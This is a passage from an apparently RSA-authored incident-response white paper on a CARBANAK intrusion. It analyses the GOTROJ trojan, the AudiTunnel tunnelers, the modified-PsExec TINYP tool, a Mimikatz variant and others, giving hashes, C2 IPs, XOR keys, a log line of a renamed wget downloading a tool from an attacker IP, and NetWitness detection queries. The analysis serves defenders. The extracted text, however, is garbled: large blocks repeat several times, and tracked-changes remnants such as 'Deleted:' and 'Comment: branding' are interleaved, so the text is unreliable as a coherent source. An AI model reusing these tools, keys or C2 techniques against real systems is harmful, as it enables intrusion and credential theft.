File Name   : l File Size       : 16,333 bytes MD5             : 771fa63231fb42ee97aa17818a53f432 SHA1            : 149a9270d9160120229b7c088975c2754e3b5333 Table 8: File Information for ALW 4.3.3 PSCAN The PSCAN binary found on host BRAVO is a TCP port scanning tool that attempts to create TCP socket connections to a specified port for every IP within a specified range.
This functionality allows the attacker to check if specific commonly used ports are open for communication in systems within an IP range, thereby identifying available services for internal reconnaissance.
The usage message for PSCAN is shown in Figure 22.
WHITE PAPER 26 Figure 22: Usage Message for PSCAN Port Scanning Tool An example execution of PSCAN is shown in Figure 23, with the file information for this binary shown in Table 9.
Figure 23: Example Usage of PSCAN Port Scanning Tool File Name   : pscan File Size       : 10,340 bytes MD5             : 0f1c4a2a795fb58bd3c5724af6f1f71a SHA1            : 039f814cdd4ac6f675c908067d5be1d6f9acc31f Table 9: File Information for PSCAN Their decisions in which systems to access indicated that their next intended action was to gain access to the Windows Server environment.
The attackers continued to conduct internal reconnaissance within both the Linux and Windows environments using stolen credentials to access Linux systems via SSH and the WINEXE utility to access Windows systems.
The actions-on- objective during this time was composed of mapping the internal network with the PSCAN utility and collecting host information via resident Linux and Windows administrative command-line utilities.
4.4 WINDOWS COMPROMISE AND MALICIOUS FILES 4.4.1 GOTROJ Remote Access Trojan On D30, the attackers installed a Windows Trojan, written in Go, as a Windows Service on one of the two primary Active Directory Domain Controllers.
They would move to utilizing the GOTROJ as their primary method of ingress for the duration of the engagement.
The GOTROJ Trojan communicated with C2 IP address 107.181.246.146 over TCP/443 for its remote access channel.
This Trojan was much more fully featured than the TheShadowsofGhosts CaseStudy:CARBANAK  Page 29 systems within an IP range, thereby identifying available services for internal reconnaissance.
The usage message for PSCAN is shown in Figure 22.
Figure 22: Usage Message for PSCAN Port Scanning Tool An example execution of PSCAN is shown in Figure 23, with the file information for this binary shown in Table 9.
Figure 23: Example Usage of PSCAN Port Scanning Tool File Name       : pscan File Size       : 10,340 bytes MD5             : 0f1c4a2a795fb58bd3c5724af6f1f71a SHA1            : 039f814cdd4ac6f675c908067d5be1d6f9acc31f Table 9: File Information for PSCAN Their decisions in which systems to access indicated that their next intended action was to gain access to the Windows Server environment.
The attackers continued to conduct internal reconnaissance within both the Linux and Windows environments using stolen credentials to access Linux systems via SSH and the WINEXE utility to access Windows systems.
The actions- on-objective during this time was composed of mapping the internal network with the PSCAN utility and collecting host information via resident Linux and Windows administrative command- line utilities.
Deleted: Deleted: TheShadowsofGhosts CaseStudy:CARBANAK  Page 29 systems within an IP range, thereby identifying available services for internal reconnaissance.
The usage message for PSCAN is shown in Figure 22.
Figure 22: Usage Message for PSCAN Port Scanning Tool An example execution of PSCAN is shown in Figure 23, with the file information for this binary shown in Table 9.
Figure 23: Example Usage of PSCAN Port Scanning Tool File Name       : pscan File Size       : 10,340 bytes MD5             : 0f1c4a2a795fb58bd3c5724af6f1f71a SHA1            : 039f814cdd4ac6f675c908067d5be1d6f9acc31f Table 9: File Information for PSCAN Their decisions in which systems to access indicated that their next intended action was to gain access to the Windows Server environment.
The attackers continued to conduct internal reconnaissance within both the Linux and Windows environments using stolen credentials to access Linux systems via SSH and the WINEXE utility to access Windows systems.
The actions- on-objective during this time was composed of mapping the internal network with the PSCAN utility and collecting host information via resident Linux and Windows administrative command- line utilities.
Deleted: Deleted: WHITE PAPER 27 TheShadowsofGhosts CaseStudy:CARBANAK  Page 31 Figure 24: XOR Command Decryption Method This binary operates in one of two modes.
The first is an ad hoc, interactive execution mode, in which the malware executes within the context of a user account.
However, if the malware is executed as a user, there has to be a file named xname.txt in that users temporary directory referenced by the environment variable TEMP.
As this file was not found during this engagement and is not dropped by any of the tools used by the attackers, its contents are not known.
However, when the malware begins to communicate with its C2, the contents of the file are the first thing encrypted and sent to the C2 server.
The second method of GOTROJ utilization is execution under a Windows Service as a method of persistence.
The attackers used this method of execution during this engagement, installing the GOTROJ binary as a service named WindowsCtlMonitor.
The network communication protocol this malware uses contains a very simplistic, but specific, header and format.
The traffic sent and received by this malware is XOR encrypted with an XOR key that changes for every message sent or received.
An example of the format in its encrypted form is shown in Figure 25.
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Deleted: Deleted: Deleted: Deleted: Deleted: previous tools utilized by the attackers to this point, with eight primary functions designated by a command issued by the attackers.
The commands and their functionality are shown in Table 10.
Command Function ps Display process listing shell Begin interactive command shell kill Remove Windows Service and Malware info Get system information wget Download function via wget HTTP wput Upload function via wput FTP name Get hostname of victim service Install malware as Windows Service with Service Name of WindowsCtlMonitor Table 10: Decoded Commands for GOTROJ Trojan The commands are stored within the binary in an XOR encrypted segment, which is decrypted shortly after execution with the XOR key of dmdar, or 0x646D646172.
The section of code which calls the c_gosh_xstr_XorCrypt() function to decrypt the commands is shown in Figure 24.
Figure 24: XOR Command Decryption Method This binary operates in one of two modes.
The first is an ad hoc, interactive execution mode, in which the malware executes within the context of a user account.
However, if the malware is executed as a user, there has to WHITE PAPER 28 be a file named xname.txt in that users temporary directory referenced by the environment variable TEMP.
As this file was not found during this engagement and is not dropped by any of the tools used by the attackers, its contents are not known.
However, when the malware begins to communicate with its C2, the contents of the file are the first thing encrypted and sent to the C2 server.
The second method of GOTROJ utilization is execution under a Windows Service as a method of persistence.
The attackers used this method of execution during this engagement, installing the GOTROJ binary as a service named WindowsCtlMonitor.
The network communication protocol this malware uses contains a very simplistic, but specific, header and format.
The traffic sent and received by this malware is XOR encrypted with an XOR key that changes for every message sent or received.
An example of the format in its encrypted form is shown in Figure 25.
BA 45 BA B2 BA BA BA 99 C9 D2 DF D6 D6 B7 B0                .E............. Yellow  Null Bytes Pink  ID Byte Green  Length Byte Grey  Message Figure 25: Annotated Encrypted Form of GOTROJ Communication Once decrypted with the XOR key (byte BA in the example above), the formatting of the message becomes considerably clearer.
An illustration of this is shown in Figure 26.
00 FF  00  08 00  00 00  23 73 68 65 6C 6C 0D 0A     .......shell.. Yellow  Null Bytes Pink  ID Byte Green  Length Byte Grey  Message Figure 26: Annotated Decrypted Form of GOTROJ Communication Given this simplistic method of formatting and decryption, RSA analysts were able to effectively decrypt this traffic for review during the investigation, greatly increasing visibility into attacker actions.
However, given that this malware utilizes a TCP socket connection for transport communications in a tunneling form, the custom communications protocol does not take packet boundaries into account in its design.
Therefore, a single message may traverse multiple packets with no additional control bytes, such as the ID byte or length.
Given this case, the method of decrypting the traffic was made more effective by extracting the payload above Layer 4 and decrypting that data independent of any data within Layers 2-4.
The file information WHITE PAPER 29 for the three versions of GOTROJ observed in this incident is shown in Table 11, Table 12 and Table 13.
All binaries use the same C2 IP address of 107.181.246.146.
File Name   : ctlmon.exe File Size       : 4,392,448 bytes MD5             : 370d420948672e04ba8eac10bfe6fc9c SHA1            : 450605b6761ff8dd025978f44724b11e0c5eadcc Table 11: File Information for GOTROJ Version 1 File Name   : ctlmon_v2.exe File Size       : 4,047,691 bytes MD5             : 5ddf9683692154986494ca9dd74b588f SHA1            : 08f527bef45cb001150ef12ad9ab91d1822bb9c7 Table 12: File Information for GOTROJ Version 2 File Name   : ctlmon_v3.exe File Size       : 4,063,744 bytes MD5             : f9766140642c24d422e19e9cf35f2827 SHA1            : 7b27771de1a2540008758e9894bfe168f26bffa0 Table 13: File Information for GOTROJ Version 3 4.4.2 AudiTunnel (Windows Version) The attackers also utilized a tunneling binary similar to the AUDITUNNEL binary used on the compromised Linux systems.
The svcmd.exe binarys primary purpose was to tunnel traffic to the attackers C2 using XOR encoding with a key of 0x41.
This version of AUDITUNNEL is hard-coded to communicate with IP 185.86.151.174.
The C2 IP address is clearly seen within the ASCII strings of the file, as shown in Figure 27.
Figure 27: C2 IP Address in ASCII Strings of svcmd.exe The IP address it communicates with is hard-coded, as is the encryption key used for its communications.
After establishing the TCP connection and socket, svcmd.exe will XOR the send and receive buffers against a value of 0x41.
Given it connects to the C2 IP address over TCP/443, without the necessary visibility, defenders might mistake it for HTTPS encrypted traffic.
The encryption code segment is shown in Figure 28.
TheShadowsofGhosts CaseStudy:CARBANAK  Page 33 Table 12: File Information for GOTROJ Version 2 File Name       : ctlmon_v3.exe File Size       : 4,063,744 bytes MD5             : f9766140642c24d422e19e9cf35f2827 SHA1            : 7b27771de1a2540008758e9894bfe168f26bffa0 Table 13: File Information for GOTROJ Version 3 4.4.2  AudiTunnel (Windows Version) The attackers also utilized a tunneling binary similar to the AUDITUNNEL binary used on the compromised Linux systems.
The svcmd.exe binarys primary purpose was to tunnel traffic to the attackers C2 using XOR encoding with a key of 0x41.
This version of AUDITUNNEL is hard- coded to communicate with IP 185.86.151.174.
The C2 IP address is clearly seen within the ASCII strings of the file, as shown in Figure 27.
Figure 27: C2 IP Address in ASCII Strings of svcmd.exe The IP address it communicates with is hard-coded, as is the encryption key used for its communications.
After establishing the TCP connection and socket, svcmd.exe will XOR the send and receive buffers against a value of 0x41.
Given it connects to the C2 IP address over TCP/443, without the necessary visibility, defenders might mistake it for HTTPS encrypted traffic.
The encryption code segment is shown in Figure 28.
Deleted: Deleted: attackers Deleted: , Deleted: Deleted: Deleted: Deleted: Deleted: Comment [A41]: branding WHITE PAPER 30 TheShadowsofGhosts CaseStudy:CARBANAK  Page 33 Table 12: File Information for GOTROJ Version 2 File Name       : ctlmon_v3.exe File Size       : 4,063,744 bytes MD5             : f9766140642c24d422e19e9cf35f2827 SHA1            : 7b27771de1a2540008758e9894bfe168f26bffa0 Table 13: File Information for GOTROJ Version 3 4.4.2  AudiTunnel (Windows Version) The attackers also utilized a tunneling binary similar to the AUDITUNNEL binary used on the compromised Linux systems.
The svcmd.exe binarys primary purpose was to tunnel traffic to the attackers C2 using XOR encoding with a key of 0x41.
This version of AUDITUNNEL is hard- coded to communicate with IP 185.86.151.174.
The C2 IP address is clearly seen within the ASCII strings of the file, as shown in Figure 27.
Figure 27: C2 IP Address in ASCII Strings of svcmd.exe The IP address it communicates with is hard-coded, as is the encryption key used for its communications.
After establishing the TCP connection and socket, svcmd.exe will XOR the send and receive buffers against a value of 0x41.
Given it connects to the C2 IP address over TCP/443, without the necessary visibility, defenders might mistake it for HTTPS encrypted traffic.
The encryption code segment is shown in Figure 28.
Deleted: Deleted: attackers Deleted: , Deleted: Deleted: Deleted: Deleted: Deleted: Comment [A41]: branding The encryption code segment is shown in Figure 28.
Figure 28: XOR Byte Encryption Loop for Send and Receive Buffer The file information for the Windows AUDITUNNEL binary is shown in Table 14.
File Name       : svcmd.exe File Size       : 47,104 bytes MD5             : 8b3a91038ecb2f57de5bbd29848b6dc4 SHA1            : 54074b3934955d4121d1a01fe2ed5493c3f7f16d Table 14: File Information for AUDITUNNEL (Windows Version) 4.5 WINDOWS SECONDARY ATTACKER TOOLS 4.5.1 TINYP While the WINEXE binary was used to migrate from the Linux environment to the Windows environment, a modified version of SysInternals PSEXEC was used to move throughout the Windows environment.
This modified PSEXEC binary, named TINYP by the attackers, was the primary lateral movement mechanism.
Two versions of TINYP were used during this intrusion (v.0.7.6.2 and v.0.7.7.4), with the attackers downloading the binaries under the filenames ti1.bmp, tinyp1.bmp, tinyp2.bmp, tineyp3.bmp, tinyp4.bmp and ps.bmp.
Once downloaded, the binary was renamed to ps.exe for use in lateral movement.
While both versions of TINYP have all of the features of normal SysInternals PSEXEC, they also include additional functionality.
These functionalities are given at the command line at execution, just like PSEXEC.
The usage list of all of TINYPs functions is shown in Table 15.
WHITE PAPER 31 Argument Function \\Target Hostname or IP Remote system to communicate with -e Do not load user profile on target host -copyself Copy TINYP to C:\Windows on target host -cleanup Delete System Event Log -getfiles file Download files from target host -copyfiles file Upload files to target host ADMIN share -d Run command non-interactively -i session Run command interactively to session -u username Username flag -p password Password flag -s Run as SYSTEM on target host cmd Command to run on the target host.
Running cmd gives interactive shell Table 15: TINYP Arguments and Functions The primary modifications made to the base SysInternals PSEXEC are the functions associated with the copyself, cleanup, getfiles, and copyfiles arguments.
The copyself and copyfiles arguments will copy a file to the target remote system via SMB/CIFS, with that file either being a copy of TINYP itself or an explicitly designated file, respectively.
The getfiles argument will move files in the opposite direction, downloading specified files from the target remote host to the source host via SMB/CIFS.
Lastly, the TINYP tool contains an argument to specifically delete entries from the Windows System Event Log.
While this is an attempt to cover tracks as the attacker moves throughout the environment, it is important to note that this only affects the System Event Log, leaving Application, Security and service- specific Windows Event Logs to retain data useful to investigators.
The TINYP tool was used primarily with the Windows Command Processor cmd.exe as the final argument for remote command shell access.
Once the attacker closed the remote session, the TINYP tool would: 1.
Check if it copied itself to the ADMIN share of the remote system (C:\ Windows).
If so, it would delete itself from that location.
2.
Remove the PSEXESVC Windows Service and the psexesvc.exe PSEXEC Remote Service binary from the remote system.
3.
Delete the System Event Log from the remote system.
WHITE PAPER 32 TheShadowsofGhosts CaseStudy:CARBANAK  Page 35 attacker moves throughout the environment, it is important to note that this only affects the System Event Log, leaving Application, Security and service-specific Windows Event Logs to retain data useful to investigators.
The TINYP tool was used primarily with the Windows Command Processor cmd.exe as the final argument for remote command shell access.
Once the attacker closed the remote session, the TINYP tool would: 1.
Check if it copied itself to the ADMIN share of the remote system (C:\Windows).
If so, it would delete itself from that location.
2.
Remove the PSEXESVC Windows Service and the psexesvc.exe PSEXEC Remote Service binary from the remote system.
3.
Delete the System Event Log from the remote system.
Evidence of this activity, in the form of a lab execution of this tool, is shown in Figure 29.
Figure 29: Sample Execution of TINYP v.0.7.7.4 The file information for TINYP versions 0.7.6.2 and 0.7.7.4 is shown in Table 16 and Table 17, respectively.
File Name       : TINYP2.bin File Size       : 277,504 bytes Deleted: , Deleted: Deleted: Comment [A43]: branding Deleted: are Evidence of this activity, in the form of a lab execution of this tool, is shown in Figure 29.
Figure 29: Sample Execution of TINYP v.0.7.7.4 The file information for TINYP versions 0.7.6.2 and 0.7.7.4 is shown in Table 16 and Table 17, respectively.
File Name   : TINYP2.bin File Size       : 277,504 bytes MD5             : 7393cb0f409f8f51b7745981ac30b8b6 SHA1            : 6c17113f66efa5115111a9e67c6ddd026ba9b55d Table 16: File Information for TINYP v.0.7.6.2 File Name  : ps.exe File Size      : 234,496 bytes MD5             : c4d746b8e5e8e12a50a18c9d61e01864 SHA1            : c020f8939f136b4785dda7b2e4b80ced96e23663 Table 17: File Information for TINYP v.0.7.7.4 4.5.2  WGET (UIAUTOMATIONCORE.DLL.BIN) As done previously, the attackers used WGET version 1.11.4 to download binaries before execution.
However, the WGET used was renamed to UIAutomationCore.dll.bin.
Evidence of this is shown in execution of the binary in Figure 30.
WHITE PAPER 33 TheShadowsofGhosts CaseStudy:CARBANAK  Page 36 MD5             : 7393cb0f409f8f51b7745981ac30b8b6 SHA1            : 6c17113f66efa5115111a9e67c6ddd026ba9b55d Table 16: File Information for TINYP v.0.7.6.2 File Name       : ps.exe File Size       : 234,496 bytes MD5             : c4d746b8e5e8e12a50a18c9d61e01864 SHA1            : c020f8939f136b4785dda7b2e4b80ced96e23663 Table 17: File Information for TINYP v.0.7.7.4 4.5.2  WGET (UIAutomationCore.dll.bin) As done previously, the attackers used WGET version 1.11.4 to download binaries before execution.
However, the WGET used was renamed to UIAutomationCore.dll.bin.
Evidence of this is shown in execution of the binary in Figure 30.
Figure 30: WGET Renamed to UIAutomationCore.dll.bin This binary is observed downloading a version of the TINYP tool from IP address 185.61.148.145 in the RSA NetWitness Endpoint Application Tracking Data shown in Figure 31.
ECATSERVER,AGENT_HOSTNAME,2017-05-02 12:51:43.0671260,UIAutomationCore.dll.bin,TINYP2.bmp,C:\Windows\SysWOW64\zh- TW\,NULL,UIAutomationCore.dll.bin  http://185.61.148.145:443/TINYP2.bmp Figure 31: Download of TINYP Binary with UIAutomationCore.dll.bin The file information is shown in Table 18.
File Name       : UIAutomationCore.dll.bin File Size       : 401,408 bytes MD5             : bd126a7b59d5d1f97ba89a3e71425731 SHA1            : 457b1cd985ed07baffd8c66ff40e9c1b6da93753 Deleted: Figure 30: WGET Renamed to UIAutomationCore.dll.bin This binary is observed downloading a version of the TINYP tool from IP address 185.61.148.145 in the RSA NetWitness Endpoint Application Tracking Data shown in Figure 31.
ECATSERVER,AGENT_HOSTNAME,2017-05-02 12:51:43.0671260,UIAutomationCore.dll.bin,TINYP2.bmp,C:\ Windows\SysWOW64\zh-TW\,NULL,UIAutomationCore.dll.bin http://185.61.148.145:443/TINYP2.bmp Figure 31: Download of TINYP Binary with UIAutomationCore.dll.bin The file information is shown in Table 18.
File Name   : UIAutomationCore.dll.bin File Size       : 401,408 bytes MD5             : bd126a7b59d5d1f97ba89a3e71425731 SHA1            : 457b1cd985ed07baffd8c66ff40e9c1b6da93753 Table 18: File Information for WGET (UIAutomationCore.dll.bin) 4.5.3 PSCP (PuTTY Secure File Copy) The PSCP tool used by the attackers was an unmodified version of PuTTYs Secure File Copy v0.67.
The file information is shown in Table 19.
File Name   : pscp.bin File Size       : 359,336 bytes MD5             : b3135736bcfdab27f891dbe4009a8c80 SHA1            : 9240e1744e7272e59e482f68a10f126fdf501be0 Table 19: File Information for PSCP 4.5.4 Mimikatz Variant (32-bit, 64-bit) For credential harvesting within the Windows environment, the attackers downloaded two files named image32.bmp and image64.bmp.
These files were subsequently renamed to xxx32.exe and xxx64.exe, respectively.
In reviewing these files and their activity, RSA IR determined that these were implementations of the sekurlsa_acquireLSA() functionality of the Mimikatz credential harvesting tool.
The file information is shown in Table 20 and Table 21.
WHITE PAPER 34 File Name   : xxx32.exe File Size       : 528,896 bytes MD5             : 6499863d47b68030f0c5ffafaffb1344 SHA1            : 2197e35f14ff9960985c982ed6d16d5bd5366062 Table 20: File Information for MIMIKATZ Variant (32-bit) File Name   : xxx64.exe File Size       : 589,312 bytes MD5             : 752d245f1026482a967a763dae184569 SHA1            : 355603b1922886044884afbdfa9c9a6626b6669a Table 21: File Information for MIMIKATZ Variant (64-bit) 4.5.5 CCS CCS is a system process and library identifier that, when no arguments are given, will print the currently running processes and their process IDs to both STDOUT and a file named _out.log in the current working directory.
If CCS executed with the modules argument, it printed the running processes and their process IDs, as well as all DLLs loaded by each process.
This operation also prints the output to both STDOUT and the _out.log file.
Additionally, the _out.log file will not be replaced rather, it will be appended with every subsequent execution.
The file information is shown in Table 22.
File Name   : ccs.bmp File Size       : 82,944 bytes MD5             : d406e037f034b89c85758af1a98110be SHA1            : 6bc46528da6cd224fa5e58ccd9df5b05c46c673d Table 22: File Information for CCS 4.5.6  Infos.bmp The INFOS tool was a host reconnaissance tool obtaining browser history, browser login data and RDP logs from the system, and it outputs them to STDOUT.
The attackers used this tool to harvest credentials, identify internal web applications and observe the common RDP connections and accounts used on the Windows servers.
The file information is shown in Table 23.
File Name   : infos.bmp File Size       : 494,080 bytes MD5             : ab8bed25f9ff64a4b07be5d3bc34f26b SHA1            : 42ce9c2bd246a0243fa91309938042e434b39876 Table 23: File Information for INFOS WHITE PAPER 35 TheShadowsofGhosts CaseStudy:CARBANAK  Page 38 Table 22: File Information for CCS 4.5.6  Infos.bmp The INFOS tool was a host reconnaissance tool obtaining browser history, browser login data and RDP logs from the system, and it outputs them to STDOUT.
The attackers used this tool to harvest credentials, identify internal web applications and observe the common RDP connections and accounts used on the Windows servers.
The file information is shown in Table 23.
File Name       : infos.bmp File Size       : 494,080 bytes MD5             : ab8bed25f9ff64a4b07be5d3bc34f26b SHA1            : 42ce9c2bd246a0243fa91309938042e434b39876 Table 23: File Information for INFOS 4.5.7  PSCAN (Windows Version) The attackers also utilized a version of the PSCAN tools described in Section 4.3.3.
This version differs from the Linux version previously discussed only in its usage message, which is slightly more verbose.
An example of the usage text and execution is shown in Figure 32.
Figure 32: Example Execution and Usage Text of Windows Version of PSCAN The file information is shown in Table 24.
File Name       : pscan.bmp File Size       : 65,024 bytes MD5             : d825fbd90087d2350e89cbf205a1b71c SHA1            : ca5e195692399dca99a4d8299dc9ff816168a6dc Table 24: File Information for PSCAN (Windows Version) 4.6 Detection, Tracking and Response Given that the attackers left very little consistently running on any compromised host, downloaded tools as they needed them and removed those tools immediately after use, determining their movement throughout the environment via traditional forensic methods was not a timely option.
In a significant portion of the attackers actions-on-objective and lateral movement, the majority of their activity was contained within the functions of the Windows Command Processor cmd.exe.
Given this, much of their actions did not cause subsequent Deleted: , Deleted: Deleted: , Deleted: Deleted: Deleted: , Deleted: , Deleted: Deleted: attackers Deleted: s Deleted: 4.5.7 PSCAN (Windows Version) The attackers also utilized a version of the PSCAN tools described in Section 4.3.3.
This version differs from the Linux version previously discussed only in its usage message, which is slightly more verbose.
An example of the usage text and execution is shown in Figure 32.
Figure 32: Example Execution and Usage Text of Windows Version of PSCAN The file information is shown in Table 24.
File Name   : pscan.bmp File Size       : 65,024 bytes MD5             : d825fbd90087d2350e89cbf205a1b71c SHA1            : ca5e195692399dca99a4d8299dc9ff816168a6dc Table 24: File Information for PSCAN (Windows Version) 4.6 DETECTION, TRACKING, AND RESPONSE Given that the attackers left very little consistently running on any compromised host, downloaded tools as they needed them and removed those tools immediately after use, determining their movement throughout the environment via traditional forensic methods was not a timely option.
In a significant portion of the attackers actions-on-objective and lateral movement, the majority of their activity was contained within the functions of the Windows Command Processor cmd.exe.
Given this, much of their actions did not cause subsequent process execution.
Additionally, the attackers utilized several different filenames for their toolsets, ensured a tool was not executed with the same name it was downloaded with, used multiple versions to throw off atomic hashing IOCs and maintained at least two different ingress points with non-related IP addresses.
Given that the attackers had been in the environment for over a month at the time response began, traditional host and network intrusion detection systems within the organizations security stack proved ineffective to combat these actors.
Additionally, the attackers had full access to the Linux and Windows environments at the time of response.
However, by engaging and enabling analysts to periodically conduct RSA Threat Hunting with a solid methodology, WHITE PAPER 36 this threat was still detected despite not being detected by IDS, or buried in ineffective alerts.
Once detected, the root cause was determined, the threat was effectively and recursively scoped across the environment, additional next-level visibility into attacker actions was obtained, and a plan was created and executed to successfully remediate the threat.
Given that time is the most critical resource during incident response, any reduction to the 10:1 analysis time versus attack time ratio can significantly increase the chances of a successful eradication event and continued successful remediation.
In this case, due to effective visibility, solid methodology and processes, and motivated and properly enabled analysts, the threat was contained and remediated after nine days of response efforts.
The remediation involved significant internal infrastructure changes be enacted before the expulsion event, including implementation of redesigned network segmentation, replacement of several significant environment-wide data and process automations, and removal and replacement of most administrative authentication methods within the environment.
Consistent monitoring and RSA Threat Hunting operations conducted post-remediation, with the necessary visibility, allowed for an active and adaptive response in which any subsequent actor activity was observed, analyzed and responded to appropriately.
With the care in which the attackers moved throughout the environment, RSA IR relied on RSA NetWitness Endpoint and RSA NetWitness Logs and Packets to coordinate host and network visibility and create non-standard, aggregate, behavioral-based indicators, resulting in actionable IOCs that allowed RSA IR to track the attackers in near real time.
Here, we discuss some of the ways in which RSA IR was able to determine and track attacker actions throughout the environment.
4.6.1 Network Visibility and Indicators This section discusses the methodology and RSA NetWitness Suite queries and content used by RSA IR during this investigation.
The methodology in this section uses the OCOKA defensive model16 and is described in detail in the RSA Incident Response NetWitness Hunting Guide.
17 The CARBANAK attackers conducted actions through a variety of network communication methods.
Additionally, as the attackers were prone to downloading tools when they needed them, in an effort to leave as little on disk as possible, this became a primary method of tracking attacker location throughout the environment.
The attackers primarily used WGET to download tools when needed, and they consistently did so directly to an IP address over TCP port 443.
16 Heuser, Riley The Myth of the Easy Button Approach to Information Security https://www.
rsa.com/en-us/blog/2017-07/infosec-easy-button-myth 17 RSA Incident Response NetWitness Hunting Guide https://community.rsa.com/docs/DOC-62341 https://www.rsa.com/en-us/blog/2017-07/infosec-easy-button-myth https://www.rsa.com/en-us/blog/2017-07/infosec-easy-button-myth https://community.rsa.com/docs/DOC-62341 WHITE PAPER 37 Therefore, using the following query would reduce the dataset to the attacker activity with considerably high fidelity: direction  outbound  service  80  client begins wget  tcp.dstport  443 service.analysis  direct to ip http request Execution of this query against the network dataset resulted in the following sessions, shown in Figure 33.
Figure 33: Query Results for Malicious Tool Downloads This behavioral IOC could also be modified to adhere to changes in attacker actions or increasing false positives by including the Directory Meta to only equal the root directory, or include the Action Meta to only include HTTP GET Requests.
As we see in Figure 33, though the attackers would keep changing filenames, IP addresses and WGET versions used, actions associated with this TTP were still able to be detected throughout the engagement.
The primary method of interacting with the Linux Syslog server within the Linux environment consisted of communicating via SSH over a reverse tunnel (created by the AUDITUNNEL binary).
Given that the SSH traffic would be encapsulated within the reverse tunnel created by AUDITUNNEL, the Layer 3 and Layer 4 headers would be representative of the tunnel itself, while the TheShadowsofGhosts CaseStudy:CARBANAK  Page 40 Therefore, using the following query would reduce the dataset to the attacker activity with considerably high fidelity: direction  outbound  service  80  client begins wget  tcp.dstport  443 service.analysis  direct to ip http request Execution of this query against the network dataset resulted in the following sessions, shown in Figure 33.
Figure 33: Query Results for Malicious Tool Downloads This behavioral IOC could also be modified to adhere to changes in attacker actions or increasing false positives by including the Directory Meta to only equal the root directory, or include the Action Meta to only include HTTP GET Requests.
As we see in Figure 33, though the attackers would keep changing filenames, IP addresses and WGET versions used, actions associated with this TTP were still able to be detected throughout the engagement.
The primary method of interacting with the Linux Syslog server within the Linux environment consisted of communicating via SSH over a reverse tunnel (created by the AUDITUNNEL Deleted: Deleted: , WHITE PAPER 38 network payload above Layer 4 would be representative of the SSH protocol.
With this knowledge, we can begin to build behavioral IOC queries to track this activity, beginning with the following: direction  outbound  service  22 This query will return all results representative of both outbound SSH communication as well as inbound SSH communication over the reverse tunnel.
However, this query is of particularly low fidelity, especially when in a Linux-heavy environment.
By reviewing additional context around what we know of this attacker communication, this query can be narrowed significantly.
In reviewing the activity associated with the AUDITUNNEL auditd and svcmd.exe tunneling binaries, both communicate outbound over TCP port 443.
Adding this to our query gives additional context around the transport mechanism, though not the communication mechanism (SSH).
As the SSH attacker traffic is associated with the SSHDOOR trojanized OpenSSH 5.3 binaries, and by specification SSH exchanges client and server version strings at the beginning of each session, we can add version context to the communication mechanism as well.
The addition of these two aspects results in the following query: direction  outbound  service  22  tcp.dstport  443  client  openssh_5.3 Execution of this query against the network dataset returns the following results, as shown in Figure 34.
Figure 34: Tunneled SSH Query Results TheShadowsofGhosts CaseStudy:CARBANAK  Page 42 Figure 34: Tunneled SSH Query Results In the resulting data, we observe that in all sessions returned, the client version string and the server version string match.
This can be added to the query to increase the fidelity of the IOC if there are still false positives present.
However, there is still the case in which the AUDITUNNEL binary utilizes the XOR encoding.
In this case, the traffic will appear as binary network communications.
In order to ease the effort of detecting this activity, content for RSA NetWitness Logs and Packets were created based on the initial Client Hello string passed when beginning AUDITUNNEL XOR communication.
An example of this detection is shown in Figure 35.
Figure 35: AUDITUNNEL Client Hello Payload Detection and Meta Comment [A47]: branding Deleted: Deleted: Deleted: Deleted: Deleted: Comment [A48]: branding WHITE PAPER 39 In the resulting data, we observe that in all sessions returned, the client version string and the server version string match.
This can be added to the query to increase the fidelity of the IOC if there are still false positives present.
However, there is still the case in which the AUDITUNNEL binary utilizes the XOR encoding.
In this case, the traffic will appear as binary network communications.
In order to ease the effort of detecting this activity, content for RSA NetWitness Logs and Packets were created based on the initial Client Hello string passed when beginning AUDITUNNEL XOR communication.
An example of this detection is shown in Figure 35.
Figure 35: AUDITUNNEL Client Hello Payload Detection and Meta The GOTROJ utilized two methods of network communication.
The first and primary method was a custom binary XOR encoded protocol communicating outbound over TCP port 443.
We can begin building our IOC query here with the following: direction  outbound  risk.info  unknown service over ssl port  tcpflags syn  ioc  binary handshake This query will identify the beginning of all outbound communications over TCP port 443 in which data is being transmitted by both parties at the beginning of the communication (ioc  binary handshake).
While this will find the GOTROJ control traffic, it will find many other things as well.
This is due to service  0 being representative of any protocol for which there is not an RFC standard parser built.
This includes various proprietary protocols, malicious custom protocols and even sending cleartext over a network tunnel.
To narrow this down some, we would want to look at byte transmission ratios between the payloads of the communication.
What we are really looking for is conversational traffic, in which the ratio of the amount of data transmitted by both parties is roughly equivalent (25-75 or so).
To identify this, we would add the Session Analysis Meta for this type of byte transmission ratio, as shown below: direction  outbound  risk.info  unknown service over ssl port  tcpflags  syn ioc  binary handshake  analysis.session  medium transmitted outbound The direction meta can be removed in this instance if necessary, as the medium transmitted outbound meta includes the condition.
The resulting traffic from the network dataset is shown in Figure 36.
TheShadowsofGhosts CaseStudy:CARBANAK  Page 42 Figure 34: Tunneled SSH Query Results In the resulting data, we observe that in all sessions returned, the client version string and the server version string match.
This can be added to the query to increase the fidelity of the IOC if there are still false positives present.
However, there is still the case in which the AUDITUNNEL binary utilizes the XOR encoding.
In this case, the traffic will appear as binary network communications.
In order to ease the effort of detecting this activity, content for RSA NetWitness Logs and Packets were created based on the initial Client Hello string passed when beginning AUDITUNNEL XOR communication.
An example of this detection is shown in Figure 35.
Figure 35: AUDITUNNEL Client Hello Payload Detection and Meta Comment [A47]: branding Deleted: Deleted: Deleted: Deleted: Deleted: Comment [A48]: branding WHITE PAPER 40 TheShadowsofGhosts CaseStudy:CARBANAK  Page 43 The GOTROJ utilized two methods of network communication.
The first and primary method was a custom binary XOR encoded protocol communicating outbound over TCP port 443.
We can begin building our IOC query here with the following: direction  outbound  risk.info  unknown service over ssl port  tcpflags  syn  ioc binary handshake This query will identify the beginning of all outbound communications over TCP port 443 in which data is being transmitted by both parties at the beginning of the communication (ioc  binary handshake).
While this will find the GOTROJ control traffic, it will find many other things as well.
This is due to service  0 being representative of any protocol for which there is not an RFC standard parser built.
This includes various proprietary protocols, malicious custom protocols and even sending cleartext over a network tunnel.
To narrow this down some, we would want to look at byte transmission ratios between the payloads of the communication.
What we are really looking for is conversational traffic, in which the ratio of the amount of data transmitted by both parties is roughly equivalent (25-75 or so).
To identify this, we would add the Session Analysis Meta for this type of byte transmission ratio, as shown below: direction  outbound  risk.info  unknown service over ssl port  tcpflags  syn  ioc binary handshake  analysis.session  medium transmitted outbound The direction meta can be removed in this instance if necessary, as the medium transmitted outbound meta includes the condition.
The resulting traffic from the network dataset is shown in Figure 36.
